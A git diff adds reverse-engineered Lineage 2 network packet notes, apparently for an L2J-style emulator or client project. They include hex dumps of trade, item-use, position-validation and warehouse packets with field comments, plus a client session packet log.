[TradeOtherAdd] +41 00 +1B // pcode +01 00 // item cnt +04 00 // type1 +C0 09 00 10 // oid +39 00 00 00 // iid +0D 00 00 00 // cnt +04 00 // type2 +00 00 // 00 +00 00 00 00 // b.part +00 00 // enchatnt +00 00 00 00 // 00 ?? +FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 // attribs + +Client: Len 15 [AddTradeItem] +0F 00 +1B // pcode +01 00 00 00 // tradeId? O_o wtf L2J ignores this +D1 09 00 10 // objectID +01 00 00 00 // count + +Server: Len 65 [TradeOwnAdd] +41 00 +1A // pcode +01 00 // count +04 00 // type1 +D1 09 00 10 // oid +9A 29 00 00 // iid +01 00 00 00 // cnt +05 00 // type2 +00 00 // 00 +00 00 00 00 // b.part +00 00 // enchant +00 00 00 00 // 00 +FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 // attribs + +Client: Len 7 [TradeDone] +07 00 +1C // pcode +01 00 00 00 // num; 1 - confirm, 0 - cancel trade + +Server: Len 7 [TradeDone] +07 00 +1C // pcode +01 00 00 00 // num; 1 - confirm, 0 - cancel trade diff --git a/docs/gamepackets/UseItem.txt b/docs/gamepackets/UseItem.txt new file mode 100644 index 0000000..e0c3a40 --- /dev/null +++ b/docs/gamepackets/UseItem.txt @@ -0,0 +1,4 @@ +0B 00 // len 11 +19 // ptype - UseItem +57 EA 03 10 // objectID? 268692055 +00 00 00 00 // wtf nulls? \ No newline at end of file diff --git a/docs/gamepackets/ValidateLocation.txt b/docs/gamepackets/ValidateLocation.txt new file mode 100644 index 0000000..38ec4d3 --- /dev/null +++ b/docs/gamepackets/ValidateLocation.txt @@ -0,0 +1,18 @@ +Server: Len 23 [ValidateLocation] +17 00 +79 +B2 16 00 10 // mob/npc objectID +91 AC 00 00 // x +C5 A4 00 00 // y +5D F2 FF FF // z +FA C5 00 00 // heading + +protected final void writeImpl() +{ + writeC(0x79); + writeD(_charObjId); + writeD(_x); + writeD(_y); + writeD(_z); + writeD(_heading); +} diff --git a/docs/gamepackets/ValidatePosition.txt b/docs/gamepackets/ValidatePosition.txt new file mode 100644 index 0000000..ed10168 --- /dev/null +++ b/docs/gamepackets/ValidatePosition.txt @@ -0,0 +1,32 @@ +Client: Len 23 [ValidatePosition] +17 00 +59 +B3 A5 00 00 // x 42419 +39 A4 00 00 // y 42041 +5B F2 FF FF // z -3493 +E2 24 00 00 // heading 9442 +00 00 00 00 // wtf data? L2J ignores + +After TeleportToLocation client sends ValidatePosition twice. +First is above +Second below: +Both coordinates x,y,z are coords BEFORE teleport. + +Client: Len 23 [ValidatePosition] +17 00 +59 +B3 A5 00 00 // x,y,z are the same +39 A4 00 00 +5B F2 FF FF +00 00 00 00 // client changes heading to 0 +00 00 00 00 + +Then client sends Appearing (trigger). +After that server sends UserInfo with all info, icluding new coords. + +ValidatePosition L2J: +_x = readD(); +_y = readD(); +_z = readD(); +_heading = readD(); +_data = readD(); diff --git a/docs/gamepackets/WarehouseDepositList.txt b/docs/gamepackets/WarehouseDepositList.txt new file mode 100644 index 0000000..5072fbf --- /dev/null +++ b/docs/gamepackets/WarehouseDepositList.txt @@ -0,0 +1 @@ +Server: Len 2519 [ WareHouseDepositList] | D7 09 / 41 / 02 00 7F DE 34 00 21 00 04 00 FB 0B 08 10 24 0F 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 FB 0B 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 E7 56 07 10 25 0F 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 E7 56 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 1C 4D 07 10 30 0F 00 00 03 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 1C 4D 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 C4 40 07 10 E0 02 00 00 0B 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 C4 40 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 AA 39 07 10 23 0F 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 AA 39 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 9F 39 07 10 27 0F 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 9F 39 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 41 8E 05 10 39 00 00 00 7F DE 34 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 41 8E 05 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 17 7A 02 10 2B 0F 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 17 7A 02 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 25 75 02 10 26 0F 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 25 75 02 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 56 1C 02 10 2E 0F 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 56 1C 02 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 19 15 02 10 0D 1A 00 00 07 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 19 15 02 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 D2 0C 02 10 4E 07 00 00 10 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 D2 0C 02 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 07 FC 01 10 2C 0F 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 07 FC 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 1A FA 01 10 2F 0F 00 00 03 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 1A FA 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 D6 2C 01 10 6D 0F 00 00 A3 0D 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 D6 2C 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 7C 24 01 10 93 17 00 00 0A 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 7C 24 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 53 20 01 10 61 07 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 53 20 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 DF 1F 01 10 26 07 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 DF 1F 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 3F 1E 01 10 D4 27 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 3F 1E 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 26 1E 01 10 50 07 00 00 1F 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 26 1E 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 8B 1D 01 10 4C 07 00 00 37 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 8B 1D 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 29 1D 01 10 4F 07 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 29 1D 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 9A 1B 01 10 57 07 00 00 04 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 9A 1B 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 83 1B 01 10 49 07 00 00 0F 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 83 1B 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 94 01 01 10 A7 21 00 00 05 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 94 01 01 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 70 FC 00 10 4B 07 00 00 18 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 70 FC 00 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 B5 BB 07 10 6B 0F 00 00 76 05 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 B5 BB 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 A8 50 02 10 25 04 00 00 64 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 A8 50 02 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 E2 51 06 10 59 07 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 E2 51 06 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 41 53 07 10 4D 07 00 00 0E 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 41 53 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 94 4D 07 10 51 07 00 00 07 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 94 4D 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 45 4D 07 10 48 07 00 00 27 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 45 4D 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 F9 0C 08 10 4A 07 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 F9 0C 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF diff --git a/docs/gamepackets/WarehouseWithdrawalList.txt b/docs/gamepackets/WarehouseWithdrawalList.txt new file mode 100644 index 0000000..2074245 --- /dev/null +++ b/docs/gamepackets/WarehouseWithdrawalList.txt @@ -0,0 +1 @@ +Server: Len 1911 [ WareHouseWithdrawalList] | 77 07 / 42 / 01 00 2B 56 35 00 19 00 04 00 F6 0A 08 10 50 07 00 00 1B 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 F6 0A 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 58 0A 08 10 4B 07 00 00 12 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 58 0A 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 D0 60 07 10 88 1E 00 00 01 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 D0 60 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 B5 BB 07 10 6B 0F 00 00 7E 05 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 B5 BB 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 01 00 F9 6E 07 10 27 00 00 00 01 00 00 00 01 00 00 00 00 10 00 00 00 00 00 00 00 00 F9 6E 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 01 00 03 6F 07 10 33 00 00 00 01 00 00 00 01 00 00 00 00 02 00 00 00 00 00 00 00 00 03 6F 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 5C 4F 07 10 4E 07 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 5C 4F 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 E2 51 06 10 59 07 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 E2 51 06 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 60 72 08 10 52 03 00 00 01 00 00 00 02 00 00 00 06 00 00 00 00 00 00 00 00 00 60 72 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 5E 72 08 10 52 03 00 00 01 00 00 00 02 00 00 00 06 00 00 00 00 00 00 00 00 00 5E 72 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 61 72 08 10 91 03 00 00 01 00 00 00 02 00 00 00 08 00 00 00 00 00 00 00 00 00 61 72 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 5C 72 08 10 71 03 00 00 01 00 00 00 02 00 00 00 30 00 00 00 00 00 00 00 00 00 5C 72 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 5D 72 08 10 71 03 00 00 01 00 00 00 02 00 00 00 30 00 00 00 00 00 00 00 00 00 5D 72 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 41 53 07 10 4D 07 00 00 0E 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 41 53 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 01 00 E5 6E 07 10 2C 00 00 00 01 00 00 00 01 00 00 00 40 00 00 00 00 00 00 00 00 00 E5 6E 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 57 01 08 10 57 08 00 00 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 57 01 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 CE 01 08 10 58 08 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 CE 01 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 EE 11 08 10 5F 08 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 EE 11 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 94 4D 07 10 51 07 00 00 07 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 94 4D 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 45 4D 07 10 48 07 00 00 27 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 45 4D 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 01 00 E1 6E 07 10 50 04 00 00 01 00 00 00 01 00 00 00 00 08 00 00 00 00 00 00 00 00 E1 6E 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 F9 0C 08 10 4A 07 00 00 02 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 F9 0C 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 F0 01 08 10 4C 07 00 00 35 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 01 08 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 01 00 E2 6E 07 10 4D 04 00 00 01 00 00 00 01 00 00 00 00 04 00 00 00 00 00 00 00 00 E2 6E 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF 04 00 44 51 07 10 49 07 00 00 05 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 44 51 07 10 00 00 00 00 00 00 00 00 FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF \ No newline at end of file diff --git a/docs/gamepackets/action_useitem_1230567729.txt b/docs/gamepackets/action_useitem_1230567729.txt new file mode 100644 index 0000000..4b857d0 --- /dev/null +++ b/docs/gamepackets/action_useitem_1230567729.txt @@ -0,0 +1,506 @@ +[PACKET] Client: 0e ProtocolVersion 12 +[++] UserAIThread(): started, created message queue +[PACKET] Server: 2e KeyPacket +[PACKET] Client: 2b AuthLogin: Login: "eowing" +[PACKET] Server: 09 CharacterSelectionInfo: 2 chars +[PACKET] Client: 12 CharacterSelect: #0 +[PACKET] Server: 73 SSQInfo +[PACKET] Client: Unknown packet 12 in state: IN_GAME +[PACKET] Server: 0b CharSelected: "Eowing" +[PACKET] Server: Unknown packet 6C in state: IN_GAME +[PACKET] Server: 31 CharInfo [Angama] +[PACKET] Server: 31 CharInfo [Angama] +[PACKET] Server: 08 DeleteObject 268710478 +[PACKET] Client: D0:01 RequestManorList +[PACKET] Client: D0:21 RequestKeyMapping +[PACKET] Server: FE:22 ExSendManorList +[WARN] Server: Unknown opcode2 0070 for IN_GAME packet 0xFE +[PACKET] Client: 11 EnterWorld +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 08 DeleteObject 268526765 +[PACKET] Server: 08 DeleteObject 268715414 +[PACKET] Server: 08 DeleteObject 268545447 +[PACKET] Server: 08 DeleteObject 268549721 +[PACKET] Server: 08 DeleteObject 268527581 +[PACKET] Server: 08 DeleteObject 268593763 +[PACKET] Server: 08 DeleteObject 268524741 +[PACKET] Server: 08 DeleteObject 268549721 +[PACKET] Server: 08 DeleteObject 268565552 +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21555, oid [268692774] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21549, oid [268692442] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21549, oid [268692441] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21555, oid [268692773] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21549, oid [268692443] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21560, oid [268692386] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21564, oid [268692649] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21564, oid [268692650] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21551, oid [268692761] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21568, oid [268692792] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 31522, oid [268477497] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 31523, oid [268477498] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21568, oid [268692791] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 31526, oid [268477499] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21564, oid [268692828] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21564, oid [268692827] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21551, oid [268692498] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21560, oid [268692387] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21551, oid [268692760] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21573, oid [268692314] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21573, oid [268692316] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21564, oid [268692394] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21569, oid [268692527] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21568, oid [268692423] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21569, oid [268692526] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21566, oid [268692547] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21566, oid [268692548] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21568, oid [268692425] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21573, oid [268692315] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21564, oid [268692393] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21568, oid [268692424] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21564, oid [268692397] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21566, oid [268692549] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21569, oid [268692528] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21566, oid [268692545] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21551, oid [268692497] [] +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21560, oid [268711500] [] +[PACKET] Server: E5 HennaInfo +[PACKET] Server: 11 ItemList +[PACKET] Server: 45 ShortCutInit +[PACKET] Server: E8 SendMacroList +[PACKET] Server: F2 ClientSetTime +[PACKET] Server: Unknown packet 13 in state: IN_GAME +[PACKET] Server: 5F SkillList +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 4A CreatureSay +[PACKET] Client: A6 RequestSkillCoolTime +[PACKET] Server: 4A CreatureSay +[PACKET] Client: A6 RequestSkillCoolTime +[PACKET] Server: 4A CreatureSay +[PACKET] Server: 62 SystemMessage +[PACKET] Server: 32 UserInfo [Eowing] (52093,-54337,-3184) +[PACKET] Client: 65 RequestPledgeInfo +[PACKET] Server: 5A PledgeShowMemberListAll +[PACKET] Server: Unknown packet 8E in state: IN_GAME +[PACKET] Server: FE:3A PledgeSkillList +[PACKET] Server: Unknown packet 75 in state: IN_GAME +[PACKET] Server: 86 QuestList +[PACKET] Server: FE:2F ExStorageMaxCount +[PACKET] Server: 86 QuestList +[PACKET] Server: FE:5F ExBasicActionList +[PACKET] Server: 85 AbnormalStatusUpdate +[PACKET] Server: 32 UserInfo [Eowing] (52093,-54337,-3184) +[PACKET] Server: 85 AbnormalStatusUpdate +[PACKET] Server: F9 EtcStatusUpdate +[WARN] Server: Unknown opcode2 0032 for IN_GAME packet 0xFE +[PACKET] Server: 19 NpcHtmlMessage +[PACKET] Server: 1F ActionFailed +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: C7 SkillCoolTime +[PACKET] Server: C7 SkillCoolTime +[PACKET] Server: 89 PledgeInfo 268624712 [NOOBS] Ally: [] +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 27 SocialAction +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: 4A CreatureSay +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: 27 SocialAction +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21555, oid [268692774] [] +[PACKET] Server: 48 MagicSkillUse +[PACKET] Server: 54 MagicSkillLaunched +[PACKET] Server: 2f MoveToLocation +[PACKET] Server: 27 SocialAction +[PACKET] Server: 0c NpcInfo (mob/morphed char?): template 21573, oid [268692315] [] +[PACKET] Server: 27 SocialAction +[PACKET] Client: D0:0D RequestAutoSoulShot 